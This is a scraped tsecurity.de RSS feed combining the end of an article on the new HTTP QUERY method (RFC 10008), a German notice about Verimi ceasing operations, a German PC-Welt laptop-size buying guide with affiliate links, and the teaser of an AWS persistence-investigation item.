<p class="wp-block-paragraph">“RFC 10008 matters because it gives the web’s favorite workaround a protocol identity,” said <a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “Developers have disguised read-only questions as POST commands for two decades; QUERY carries the question in the request body while declaring it safe to retry and cache. The significance is machine-readable intent; retry engines, caches, and autonomous agents act on what a method declares, not on what documentation intends. Under automation, semantics become policy.”</p>



<p class="wp-block-paragraph">“GET works while a request fits comfortably in a URI, and stops working the moment a developer needs deep filters, long identifier sets or an entire query document,” Gogia explained. “URIs also attract exposure through histories, bookmarks, and access logs, and encoding every input combination into the address quietly turns each permutation into a distinct resource.”</p>



<p class="wp-block-paragraph">“POST solves the size problem and withholds the promise,” Gogia said. “Its generic semantics admit creation, mutation, and side effect, so no cache, retry engine, or gateway is entitled to assume that a given POST is repeatable or reusable.”</p>



<p class="wp-block-paragraph">But while QUERY answers the long-running POST-for-search problem, the new method comes with some gotchas. As software engineer <a href="https://www.softwarejutsu.com/about">Rickvian Aldi</a> noted in a <a href="https://www.softwarejutsu.com/articles/http-query-method-rfc-10008">blog post</a>, “The cautious version is: it answers the semantics, not all the deployment work. Front-end code still needs stable query keys. Servers still need validation and cache-control headers. Infrastructure still needs to allow the new method.”</p>



<h2 class="wp-block-heading">New standards take time</h2>



<p class="wp-block-paragraph">And that will take time; standards are often slow to be adopted. And before QUERY can be widely used, other standards such as the HTML forms standard need updating. That exercise is already in progress by groups such as the <a href="https://whatwg.org/">Web Hypertext Application Technology Working Group</a>.</p>



<p class="wp-block-paragraph">“Publishing an RFC as a Proposed Standard doesn’t mean the whole ecosystem supports it the next day,” said open source developer <a href="https://www.danieleteti.it/about/">Daniele Teti</a> in <a href="https://www.danieleteti.it/post/http-query-method-en/">a blog post</a>. “It’s the first rung of the IETF standards track: the specification is stable and ready for implementation, but it takes time for browsers, servers, proxies, CDNs, and client libraries to actually adopt it.” No major browsers support QUERY as yet, although, on the server side, Node.js and Go support the method.</p>



<p class="wp-block-paragraph">Gogia pointed out that the authors of RFC 10008, engineers at Cloudflare, Akamai, and greenbytes, recognize this.</p>



<p class="wp-block-paragraph">“The retreat route is designed into the standard itself,” Gogia said. “The Location bridge exists so that a QUERY can collapse back into a GET the moment it meets infrastructure that never learned, and the document says as much when it notes that clients can switch to GET for subsequent requests to simplify processing. Read that way, the equivalent resource is less a philosophical concession than a contingency plan, and it is the feature most likely to carry the method through its awkward years.”</p>
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<title><![CDATA[Identitätsdienst-Anbieter Verimi stellt Geschäftsbetrieb ein]]></title>
<description><![CDATA[Der Identitätsdienst- und Wallet-Anbieter Verimi stellt seinen Geschäftsbetrieb Ende 2026 ein. Als Grund nennt er veränderte strategische Rahmenbedingungen.]]></description>
<link>https://tsecurity.de/de/3671004/it-nachrichten/identitaetsdienst-anbieter-verimi-stellt-geschaeftsbetrieb-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671004/it-nachrichten/identitaetsdienst-anbieter-verimi-stellt-geschaeftsbetrieb-ein/</guid>
<pubDate>Wed, 15 Jul 2026 16:48:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Identitätsdienst- und Wallet-Anbieter Verimi stellt seinen Geschäftsbetrieb Ende 2026 ein. Als Grund nennt er veränderte strategische Rahmenbedingungen.]]></content:encoded>
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<title><![CDATA[Identitätsdienst-Anbieter Verimi stellt Geschäftsbetrieb ein]]></title>
<description><![CDATA[Der Identitätsdienst- und Wallet-Anbieter Verimi stellt seinen Geschäftsbetrieb Ende 2026 ein. Als Grund nennt er veränderte strategische Rahmenbedingungen.]]></description>
<link>https://tsecurity.de/de/3671003/it-nachrichten/identitaetsdienst-anbieter-verimi-stellt-geschaeftsbetrieb-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671003/it-nachrichten/identitaetsdienst-anbieter-verimi-stellt-geschaeftsbetrieb-ein/</guid>
<pubDate>Wed, 15 Jul 2026 16:48:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Identitätsdienst- und Wallet-Anbieter Verimi stellt seinen Geschäftsbetrieb Ende 2026 ein. Als Grund nennt er veränderte strategische Rahmenbedingungen.]]></content:encoded>
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<title><![CDATA[14, 15 oder 16 Zoll Laptop – welche Größe passt zu welchem Nutzerprofil?]]></title>
<description><![CDATA[Ein neuer Laptop ist eine Investition für die nächsten Jahre. Doch bevor man sich in Datenblättern zu Prozessoren, RAM und Grafikkarten verliert, steht die wichtigste und buchstäblich größte Entscheidung an: das Gehäuseformat. Schließlich bestimmt die Bildschirmdiagonale nicht nur, wie viel Arbei...]]></description>
<link>https://tsecurity.de/de/3670835/windows-tipps/14-15-oder-16-zoll-laptop-welche-groesse-passt-zu-welchem-nutzerprofil/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670835/windows-tipps/14-15-oder-16-zoll-laptop-welche-groesse-passt-zu-welchem-nutzerprofil/</guid>
<pubDate>Wed, 15 Jul 2026 15:42:33 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Ein <a href="https://www.pcwelt.de/article/2215385/die-besten-laptops-test.html" target="_blank" rel="noreferrer noopener">neuer Laptop</a> ist eine Investition für die nächsten Jahre. Doch bevor man sich in Datenblättern zu Prozessoren, RAM und Grafikkarten verliert, steht die wichtigste und buchstäblich größte Entscheidung an: das Gehäuseformat. Schließlich bestimmt die Bildschirmdiagonale nicht nur, wie viel Arbeitsfläche Ihnen zur Verfügung steht – sie diktiert auch das Gewicht, die Akkugröße und die Kühlleistung Ihres neuen Systems.</p>



<p>Während vor wenigen Jahren noch der 15,6-Zöller als unangefochtener Standard galt, hat sich der Markt inzwischen gewandelt. Die Ränder um die Displays sind geschrumpft, moderne 16:10-Bildformate erobern die Schreibtische und stellen Käufer vor eine technologische Grundsatzfrage.</p>



<p>Die Eier legende Wollmilchsau gibt es nämlich auch hier nicht: Wer stundenlang <a href="https://www.pcwelt.de/article/2517080/die-besten-laptops-fuer-die-video-bearbeitung.html" target="_blank" rel="noreferrer noopener">Videos schneidet</a> oder Excel-Tabellen wälzt, flucht über einen zu kleinen Bildschirm. Wer sein Gerät hingegen täglich in der Bahn zum Pendeln nutzt, ärgert sich schnell über jedes Gramm zu viel im Rucksack. </p>



<p>Damit Sie beim Kauf nicht zum falschen Formfaktor greifen, dröseln wir die Stärken und Schwächen der drei wichtigsten Laptop-Größen auf und geben eine Kaufberatung für die unterschiedlichen Nutzerprofile.</p>



<h2 class="wp-block-heading">Die drei Display-Größen im Alltags-Check</h2>



<p>Um das Maximum aus Ihrem Budget herauszuholen, sollten Sie die Charakteristiken der Formfaktoren kennen. Jede Größe hat ein optimales Einsatzgebiet.</p>



<h2 class="wp-block-heading">1. 14-Zoll-Laptops: Mobile Begleiter für Pendler</h2>



<p>Der 14-Zöller (ca. 35,5 cm Diagonale) ist das gängige Format für alle, die häufig unterwegs sind. Moderne Fertigungstechniken erlauben ein Gerätegewicht von oft kaum mehr als einem Kilogramm, zudem sind die Geräte so dünn, dass sie problemlos in jede Aktentasche oder den Uni-Rucksack passen. </p>



<p>Durch das kompakte Gehäuse ist der Akkuverbrauch des Displays geringer, was oft zu ausgezeichneten Laufzeiten führt. Das Manko: Die kompakte Bauweise lässt wenig Platz für wuchtige Kühlsysteme oder dedizierte Grafikkarten. Zudem erfordert längeres Multitasking mit mehreren geöffneten Fenstern auf dem kleineren Bildschirm oft gute Augen oder cleveres Fenster-Management.</p>



<h3 class="wp-block-heading">Für wen eignen sich 14-Zoll-Laptops?</h3>



<p>Das Format ist besonders geeignet für Pendler, Studenten, Geschäftsreisende und alle, die ihren Laptop täglich transportieren. Wer primär textbasiert arbeitet, surft, streamt oder an Videocalls teilnimmt, wird die Leichtigkeit dieser Geräteklasse lieben.</p>



<h2 class="wp-block-heading">Produktempfehlung: ASUS Zenbook 14 OLED</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a578e3834be4"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/ASUS-Zenbook-14-OLED-Laptop-bild2.jpg?quality=50&amp;strip=all&amp;w=1200" alt="ASUS Zenbook 14 OLED Laptop Bild 2" class="wp-image-3169558" width="1200" height="822" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Asus</p></div>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn shopping-cart-icon-white link-6-button" href="https://www.amazon.de/dp/B0DX2LSGSR?tag=pcwelt.de-21&amp;ascsubtag=4-0-3169538-7-0-0-0-0&amp;ascsubtag=rss" target="_blank" rel="nofollow" data-vars-link-position="CTA Button" data-domain-name="amazon" data-subtag="4-0-3169538-7-0-0-0-0">Asus Zenbook 14 OLED bei Amazon ansehen</a></div>


<p>Preis: 1.149 Euro</p>



<p><strong>Technik-Specs:</strong></p>



<ul class="wp-block-list">
<li><strong>Bilddiagonale &amp; Format:</strong> 14 Zoll (35,6 cm), Seitenverhältnis 16:10, NanoEdge-Design (schmale Ränder)</li>



<li><strong>Auflösung &amp; Panel-Typ:</strong> 2,8 K (2.880 × 1.800 Pixel), Lumina-OLED-Panel</li>



<li><strong>Farbraum &amp; Helligkeit:</strong> 100 % DCI-P3-Abdeckung, maximale Spitzenhelligkeit 550 Nits</li>



<li><strong>Bildwiederholrate &amp; Reaktionszeit:</strong> 120 Hz, 0,2 ms (Herstellerangabe)</li>



<li><strong>Gewicht &amp; Maße:</strong> 1,2 kg, 14,9 mm Bauhöhe</li>



<li><strong>Prozessor &amp; Grafik:</strong> AMD Ryzen AI 7 350 (inklusive dedizierter NPU für KI-Berechnungen), integrierte AMD Radeon Grafikeinheit</li>



<li><strong>Speicher:</strong> 16 GB LPDDR5X RAM, 1 TB PCIe Gen4 x4 SSD</li>



<li><strong>Akkukapazität:</strong> 75 Wh (laut Hersteller ausgelegt auf hohe Langlebigkeit mit 70 % Restkapazität nach 1200 Ladezyklen)</li>



<li><strong>Audio &amp; Extras:</strong> Soundsystem von Harman Kardon mit Dolby Atmos und KI-Geräuschunterdrückung, beleuchtete Tastatur (QWERTZ-Layout)</li>



<li><strong>Betriebssystem:</strong> Windows 11 Home (Copilot+ PC zertifiziert)</li>
</ul>



<p>Das <a href="https://www.amazon.de/dp/B0DX2LSGSR?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus Zenbook 14 OLED</a> demonstriert anschaulich, warum 14-Zöller aktuell so beliebt sind. Trotz des geringen Gewichts von nur 1,2 Kilogramm bietet das Notebook mit seinem AMD Ryzen AI 7 350 Prozessor und 16 GB Arbeitsspeicher genügend Leistungsreserven für Office-Anwendungen, Multitasking und leichte Bildbearbeitung. Das hochauflösende 2,8K-OLED-Display mit 120 Hz sorgt dabei für eine scharfe Darstellung, kräftige Farben und flüssige Bildabläufe.</p>



<p>Ein praktisches Detail für den mobilen Alltag ist dabei auch das kompakte Gehäuse mit nur 14,9 Millimetern Bauhöhe. Gleichzeitig verbaut Asus einen großzügigen 75-Wh-Akku, der laut Hersteller Laufzeiten von bis zu 18 Stunden ermöglichen soll. Die Ausstattung wird speziell für Videokonferenzen und Multimedia-Anwendungen durch Dolby-Atmos-Lautsprecher von Harman Kardon sowie eine integrierte KI-Geräuschunterdrückung abgerundet.</p>



<h2 class="wp-block-heading">2. 15-Zoll-Laptops: Preisbewusste Allrounder</h2>



<p>Das 15-Zoll-Segment gilt bis heute als der klassische Mittelweg zwischen Mobilität und Arbeitsfläche. Je nach Hersteller kommen im 15-Zoll-Bereich sowohl klassische 16:9- als auch moderne 16:10-Displays zum Einsatz.</p>



<p>Das 16:9-Format eignet sich besonders gut für den Medienkonsum, etwa für Filme und Serien, ohne störende schwarze Balken. Das 16:10-Format bietet dagegen mehr vertikale Bildschirmfläche – ein Vorteil beim Arbeiten mit Dokumenten, Tabellen oder längeren Webseiten.</p>



<p>Weil die Gehäuse oft auf bewährten, kostengünstigen Chassis-Designs der Hersteller basieren, bekommt man in dieser Klasse in der Regel das meiste Datenblatt für sein Geld. Zudem bieten 15-Zöller fast immer einen vollwertigen, physischen Nummernblock auf der rechten Seite der Tastatur.</p>



<h3 class="wp-block-heading">Für wen eignen sich 15-Zoll-Laptops?</h3>



<p>Der klassische 15-Zöller richtet sich an preisbewusste Käufer, Homeoffice-Nutzer, die keinen externen Monitor besitzen, und Nutzer, die ihr Notebook meistens in der Wohnung einsetzen oder das Gerät nur gelegentlich mit auf Reisen nehmen.</p>



<h2 class="wp-block-heading">Produktempfehlung: Lenovo IdeaPad Slim 3 (15″)</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a578e3835916"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Lenovo-IdeaPad-Slim-3-Laptop-15.6.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Lenovo IdeaPad Slim 3 Laptop 15.6" class="wp-image-3169563" width="1200" height="997" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Lenovo </p></div>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn shopping-cart-icon-white link-6-button" href="https://www.amazon.de/dp/B0DSGB8C6M?tag=pcwelt.de-21&amp;ascsubtag=4-0-3169538-7-0-0-0-0&amp;ascsubtag=rss" target="_blank" rel="nofollow" data-vars-link-position="CTA Button" data-domain-name="amazon" data-subtag="4-0-3169538-7-0-0-0-0">Lenovo IdeaPad Slim 3 bei Amazon ansehen</a></div>


<p>Preis: ca. 682 Euro</p>



<p><strong>Technik-Specs:</strong></p>



<ul class="wp-block-list">
<li><strong>Bilddiagonale &amp; Format:</strong> 15,6 Zoll (39,6 cm), Seitenverhältnis 16:10</li>



<li><strong>Auflösung &amp; Panel-Typ:</strong> WUXGA (1920 × 1200 Pixel), LC-Display</li>



<li><strong>Gewicht &amp; Maße:</strong> ca. 1,6 kg, 17,9 mm Bauhöhe</li>



<li><strong>Prozessor &amp; Grafik:</strong> Intel Core i5-13420H, Intel UHD Grafik</li>



<li><strong>Speicher:</strong> 16 GB DDR5-RAM, 512 GB SSD</li>



<li><strong>Akkukapazität:</strong> 42 Wh</li>



<li><strong>Tastatur:</strong> QWERTZ-Layout mit integriertem Nummernblock</li>



<li><strong>Software &amp; Extras:</strong> Smart Connect, 3 Monate Lenovo Premium Care, 24 Monate Herstellergarantie</li>



<li><strong>Anschlüsse &amp; Konnektivität:</strong> 2 USB-Anschlüsse, HDMI, WLAN, Bluetooth</li>



<li><strong>Betriebssystem:</strong> Windows 11 Home</li>
</ul>



<p>Das <a href="https://www.amazon.de/dp/B0DSGB8C6M?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Lenovo IdeaPad Slim 3</a> (Modell: 15IRH10) richtet sich an Nutzer, die ein solides Notebook für Alltag, Studium und Homeoffice suchen. Mit seinem 15,6 Zoll großen WUXGA-Display im modernen 16:10-Format bietet es etwas mehr vertikale Arbeitsfläche als klassische 16:9-Modelle – ein Vorteil beim Arbeiten mit Dokumenten, Tabellen oder längeren Webseiten. Trotz der großzügigen Bildschirmfläche bleibt das Gerät mit rund 1,6 Kilogramm angenehm mobil.</p>



<p>Für die Rechenleistung sorgt ein Intel Core i5-13420H Prozessor, der zusammen mit 16 GB DDR5-Arbeitsspeicher genügend Reserven für Office-Anwendungen, Multitasking und alltägliche Multimedia-Aufgaben bietet. Anspruchsvolle Spiele oder grafikintensive Anwendungen sind hingegen nicht die Stärke dieses Modells, da ausschließlich die integrierte Intel-UHD-Grafik zum Einsatz kommt.</p>



<p>Praktisch im Alltag ist die Smart-Connect-Funktion von Lenovo, mit der sich kompatible Smartphones, Tablets und PCs einfacher miteinander verbinden und Daten austauschen lassen. Damit positioniert sich das IdeaPad Slim 3 klar als klassischer Allrounder für produktives Arbeiten zu Hause, im Büro oder im Studium.</p>



<h2 class="wp-block-heading">3. 16-Zoll-Laptops: Mobile Kraftpakete</h2>



<p>Der 16-Zöller (ca. 40,6 cm Diagonale) ist der moderne Nachfolger der alten, klobigen 15,6- und 17-Zoll-Workstations. Dank besonders schmaler Displayränder passen 16-Zoll-Bildschirme heute in Gehäuse, die früher für 15 Zoll reserviert waren. Fast alle Geräte in dieser Klasse setzen auf das höhere 16:10-Format, was beim Arbeiten spürbar mehr vertikale Bildschirmfläche (z. B. für Code-Zeilen oder Webseiten) bietet.</p>



<p>Der entscheidende Vorteil dieser Größe: Das große Gehäuse bietet reichlich Platz für leistungsstarke Kühlsysteme und große Akkus (bis zum gesetzlichen <a href="https://www.pcwelt.de/article/2946084/powerbank-im-flugzeug-was-ist-erlaubt.html" target="_blank" rel="noreferrer noopener">Flugzeug-Limit</a> von 99 Wattstunden). Hier finden leistungsstarke Prozessoren und dedizierte Grafikkarten deutlich bessere Kühlbedingungen als in kompakteren Gehäusen.</p>



<h3 class="wp-block-heading">Für wen eignet sich die 16-Zoll-Größe?</h3>



<p>Für Power-User, Content Creator (Foto/Video), ambitionierte Gamer und Nutzer, die den Laptop als vollwertigen Desktop-Ersatz (Desktop Replacement) nutzen möchten.</p>



<h2 class="wp-block-heading">HP Omen MAX Gaming Laptop (16″)</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a578e3836631"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Omen-MAX-Gaming-Laptop-16-Zoll-WQXGA-Display-240Hz.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Omen MAX Gaming Laptop, 16 Zoll WQXGA Display 240Hz," class="wp-image-3169567" width="1200" height="1124" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">HP</p></div>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn shopping-cart-icon-white link-6-button" href="https://www.amazon.de/dp/B0DYL4GQ19?tag=pcwelt.de-21&amp;ascsubtag=4-0-3169538-7-0-0-0-0&amp;ascsubtag=rss" target="_blank" rel="nofollow" data-vars-link-position="CTA Button" data-domain-name="amazon" data-subtag="4-0-3169538-7-0-0-0-0">HP Omen MAX Gaming Laptop bei Amazon ansehen</a></div>


<p>Preis: 2.199 Euro</p>



<p><strong>Technik-Specs:</strong></p>



<ul class="wp-block-list">
<li><strong>Bilddiagonale &amp; Format:</strong> 16 Zoll (40,6 cm), Seitenverhältnis 16:10</li>



<li><strong>Auflösung &amp; Panel-Typ:</strong> WQXGA (2560 × 1600 Pixel), IPS-Display</li>



<li><strong>Bildwiederholrate:</strong> 240 Hz</li>



<li><strong>Gewicht &amp; Maße:</strong> ca. 2,71 kg, 2,5 cm Bauhöhe</li>



<li><strong>Prozessor &amp; Grafik:</strong> AMD Ryzen AI 7 350 (bis zu 5,0 GHz)</li>



<li><strong>Grafik:</strong> integrierte AMD Radeon 860M Grafik und NVIDIA GeForce RTX 5070 Ti (12 GB VRAM)</li>



<li><strong>Speicher:</strong> 32 GB RAM, 1 TB SSD</li>



<li><strong>Akkukapazität:</strong> 83 Wh</li>



<li><strong>Tastatur:</strong> QWERTZ-Layout mit Hintergrundbeleuchtung und Nummernblock</li>



<li><strong>Anschlüsse &amp; Konnektivität:</strong> USB, HDMI, Ethernet, WLAN 7, Bluetooth 5.4</li>



<li><strong>Betriebssystem:</strong> Windows 11 Home</li>
</ul>



<p>Der <a href="https://www.amazon.de/dp/B0DYL4GQ19?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">HP Omen MAX Gaming Laptop</a> positioniert sich als leistungsstarkes 16-Zoll-Notebook für anspruchsvolles Gaming und Content Creation. Das WQXGA-Display (2560 × 1600 Pixel) mit 240 Hz Bildwiederholrate verspricht besonders flüssige Bewegungsdarstellung mit hoher Schärfe, während die IPS-Technologie für stabile Farbdarstellung sorgt.</p>



<p>Im Inneren arbeitet ein AMD Ryzen AI 7 350 Prozessor in Kombination mit einer NVIDIA GeForce RTX 5070 Ti mit 12 GB VRAM. Die Kombination liefert ausreichend Leistung für aktuelle AAA-Spiele, kreative Anwendungen und Multitasking auf hohem Niveau. Ergänzt wird die Ausstattung durch 32 GB Arbeitsspeicher sowie eine 1-TB-SSD für schnelle Ladezeiten und ordentlich Speicherplatz.</p>



<p>Mit einem 83-Wh-Akku und einem Gewicht von rund 2,7 Kilogramm ist das Gerät klar auf Leistung statt maximale Mobilität ausgelegt. Gleichzeitig bietet es eine umfangreiche Anschlussausstattung inklusive Ethernet, HDMI, USB und moderner WLAN-7-Konnektivität. Damit richtet sich dieser Laptop an Nutzer, die ein leistungsstarkes Gaming-Notebook mit Desktop-Anspruch suchen – und den Kaufpreis nicht scheuen.</p>



<h2 class="wp-block-heading">Welche Notebook-Größe passt zu mir?</h2>



<p>Die perfekte Notebook-Größe ist immer ein Kompromiss: Mehr Bildschirm bedeutet automatisch mehr Gewicht und weniger Mobilität. Die folgende Matrix hilft Ihnen dabei, Ihre eigenen Prioritäten zu gewichten und den optimalen Kompromiss für Ihren Alltag zu finden.</p>



<figure class="wp-block-table is-style-stripes"><table class="has-fixed-layout"><tbody><tr><td><strong>Hauptfokus</strong></td><td><strong>Ideale Laptop-Größe</strong></td><td><strong>Der Kompromiss, den Sie dabei eingehen</strong></td></tr><tr><td><strong>Sie sind oft unterwegs (Bahn, Uni, Flieger)</strong></td><td><strong>14 Zoll</strong></td><td>Kleinerer Bildschirm; Multitasking erfordert gutes Fenster-Management.</td></tr><tr><td><strong>Sie arbeiten meistens mit einem externen Monitor</strong></td><td><strong>14 Zoll</strong></td><td>Unterwegs weniger Displayfläche, aber am Schreibtisch maximal flexibel und platzsparend.</td></tr><tr><td><strong>Sie suchen viel Leistung für wenig Geld (Homeoffice)</strong></td><td><strong>15 Zoll</strong></td><td>Oft ältere 16:9-Bildformate; Gehäuse sind meist etwas schwerer und dicker.</td></tr><tr><td><strong>Sie nutzen das Gerät primär auf der Couch oder im Bett</strong></td><td><strong>14 oder 15 Zoll</strong></td><td>16-Zöller sind für den Schoßbetrieb oft zu schwer und werden an den Unterseiten zu warm.</td></tr><tr><td><strong>Sie möchten Ihren Desktop-PC komplett ersetzen</strong></td><td><strong>16 Zoll</strong></td><td>Hohes Gewicht; wuchtiges Netzteil; saugt den Akku unterwegs schneller leer.</td></tr><tr><td><strong>Sie sind auf der Suche nach maximaler Gaming-Power oder Videoschnitt</strong></td><td><strong>16 Zoll</strong> <em>(oder teure 14″ Nische)</em></td><td>Hoher Anschaffungspreis; Lüfter werden unter Last deutlich hörbar.</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Software-Tipps für Ihren Laptop-Alltag</h2>



<p>Egal, ob Sie sich für das kompakte 14-Zoll-Modell oder den 16-Zoll-Boliden entscheiden – mit diesen drei kostenlosen Software-Tools holen Sie noch mehr aus Ihrem mobilen Arbeitsplatz heraus:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/de-de/windows/powertoys/install?tabs=gh%2Cextract-094" target="_blank" rel="noreferrer noopener"><strong>Microsoft PowerToys (FancyZones)</strong></a><strong>:</strong> Gerade auf den kleineren 14-Zoll-Displays ist das Standard-Fensterlayout von Windows oft fummelig. Mit dem Modul <em>FancyZones</em> unterteilen Sie Ihren Bildschirm in feste, frei definierbare Raster, in die Sie Fenster mit gedrückter Shift-Taste blitzschnell einrasten lassen. Ein absolutes Must-Have für Multitasking auf kleinen Displays.</li>



<li><a href="https://www.spacedesk.net/de/" target="_blank" rel="noreferrer noopener"><strong>SpaceDesk</strong></a><strong>:</strong> Sie sind im Hotel und der 14-Zöller reicht nicht für die Excel-Tabelle aus? SpaceDesk ist eine geniale kostenlose Software, mit der Sie Ihr iPad oder Android-Tablet kabellos über WLAN als vollwertigen, zweiten Windows-Monitor nutzen können. Perfekt für das mobile Büro.</li>



<li><a href="https://www.voidtools.com/downloads/" target="_blank" rel="noreferrer noopener"><strong>Everything</strong></a><strong>:</strong> Laptops werden oft beruflich wie privat vollgepackt mit Dateien. Statt der langsamen Windows-Standard-Suche baut <em>Everything</em> einen superschnellen Index Ihrer Festplatte auf. Dateien, Fotos oder Dokumente werden in Echtzeit gefunden – buchstäblich schon während Sie den Dateinamen tippen.</li>
</ul>



<h2 class="wp-block-heading">Fazit: Welcher Laptop-Typ sind Sie?</h2>



<p>Das perfekte Notebook richtet sich nicht nach dem Geldbeutel, sondern nach dem Einsatzzweck. Wer primär pendelt, in verschiedenen Meetingräumen sitzt oder das Gerät täglich in die Vorlesung schleppt, wird mit einem <strong>14-Zoll-Laptop</strong> am glücklichsten. </p>



<p>Die gesparten Kilos auf dem Rücken rechtfertigen den kleineren Bildschirm allemal. Wer einen soliden Rechner für das Homeoffice sucht, nur selten verreist und beim Kauf auf das Budget achten muss, macht mit dem klassischen <strong>15-Zöller</strong> nichts falsch.</p>



<p>Wenn für Sie das Notebook jedoch den klobigen Desktop-PC unter dem Schreibtisch komplett ersetzen soll, Sie professionell Videos schneiden oder aktuelle AAA-Spiele flüssig spielen wollen, führt kein Weg am <strong>16-Zoll-Kraftpaket</strong> vorbei. Die massive Arbeitsfläche und das hervorragende Kühlpotenzial gleichen das stattliche Transportgewicht in diesem Fall problemlos auf.</p>

</div>]]></content:encoded>
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<item>
<title><![CDATA[Investigating Persistence Mechanisms in AWS]]></title>
<description><![CDATA[OverviewIn the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds...]]></description>
<link>https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</guid>
<pubDate>Wed, 15 Jul 2026 15:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
